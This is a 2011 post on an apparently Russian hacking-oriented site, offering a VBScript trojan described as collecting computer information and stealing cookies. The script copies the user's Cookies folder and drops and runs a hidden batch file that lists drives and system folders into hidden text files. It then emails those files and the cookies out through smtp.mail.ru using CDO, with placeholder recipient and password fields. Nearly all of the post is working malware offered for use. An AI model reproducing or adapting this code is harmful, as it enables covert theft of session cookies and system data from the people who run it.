Главная страница
Главная страница
Поиск по сайту
Каталог файлов
Гостевая книга
Новости сайта
Лента новостей
Для просмотра всех возможностей сайта, вам необходимо пройти процедуру регистрации, либо войти в свой аккаунт.*
*Форма входа и регистрация пользователя, располагается в шапке сайта, либо в блоке "Профиль" на страницах типа "Главная".
Поиск по сайту  RSS канал 
Меню
Мини чат
Реклама


VIP Партнеры


Кланы и Команды



Статистика

Статистика пользователей

   Всего:
   Новых за месяц: 0
   Новых за неделю: 0
   Новых вчера: 0
   Новых сегодня: 0


Счетчик стран

Страны

Счетчики

  
  

Посетители

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Просмотров: 855 Просмотров данной публикации: 855 Комментарии: 0 Комментариев к данной публикации: (0)
Собирает инфу с компа и ворует куки передоёт на email
set fso=createobject("scripting.filesystemobject")
set WshShell = WScript.CreateObject("WScript.Shell")
fso.copyfolder WshShell.ExpandEnvironmentStrings("%USERPROFILE%") +"\Cookies", "C:\Cookies"

set fso = CreateObject("Scripting.FileSystemObject")
set ts = fso.OpenTextFile("C:\Windows\explorer.bat", 8, true, -2)
ts.WriteLine "DIR C:\>> C:\Inf1.TXT"
ts.WriteLine "DIR D:\>> C:\Inf2.TXT"
ts.WriteLine "DIR C:\Windows>> C:\Inf3.TXT"
ts.WriteLine "DIR C:\Windows\system32>> C:\Inf4.TXT"
ts.WriteLine "DIR C:\Windows\system>> C:\Inf5.TXT"
ts.CLOSE
set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.GetFile("C:\Windows\explorer.bat")
file.Attributes = 2

Set WSHShell=WScript.CreateObject("WScript.Shell")
Sub Zapadlo(Fuck,Wait)
Set WshShell=WScript.CreateObject("WScript.Shell")
C=WshShell.Run(Fuck,Wait)
End Sub

Call Zapadlo("C:\windows\explorer.bat",true)

wscript.sleep 300

set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.GetFile("C:\Inf1.TXT")
file.Attributes = 2
set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.GetFile("C:\Inf2.TXT")
file.Attributes = 2
set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.GetFile("C:\Inf3.TXT")
file.Attributes = 2
set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.GetFile("C:\Inf4.TXT")
file.Attributes = 2
set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.GetFile("C:\Inf5.TXT")
file.Attributes = 2

wscript.sleep 30

on error resume next
Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
Call SendPost("smtp.mail.ru","майл палучателя@mail.ru","отправителя@mail.ru","Привет!!!","Trojan_Inf")
Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,strBody)
Set iMsg=CreateObject("CDO.Message")
Set iConf=CreateObject("CDO.Configuration")
Set Flds=iConf.Fields
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="win_max_script"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="пароль от майла отправителя"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp.mail.ru"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25
Flds.Update
iMsg.Configuration=iConf
iMsg.To=strTo
iMsg.From=strFrom
iMsg.Subject=strSubject
iMsg.TextBody=strBody
iMsg.AddAttachment "C:\Inf1.TXT"
iMsg.AddAttachment "C:\Inf2.TXT"
iMsg.AddAttachment "C:\Inf3.TXT"
iMsg.AddAttachment "C:\Inf4.TXT"
iMsg.AddAttachment "C:\Inf5.TXT"
iMsg.AddAttachment "C:\Cookies"
iMsg.Send
End Function
Set iMsg=Nothing
Set iConf=Nothing
Set Flds=Nothing
Добавил: RealHackerПубликацию добавил: RealHacker Дата: 29.11.2011Дата добавления публикации: 29.11.2011


Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Профиль


Top 5
    TOP Пользователей
    vasiliy_petrov245
    Сообщений: 433
    Комментариев: 0
    stepakov
    Сообщений: 428
    Комментариев: 0
    HACKERus
    Сообщений: 95
    Комментариев: 0
    vaskas122
    Сообщений: 79
    Комментариев: 0
    www1
    Сообщений: 63
    Комментариев: 0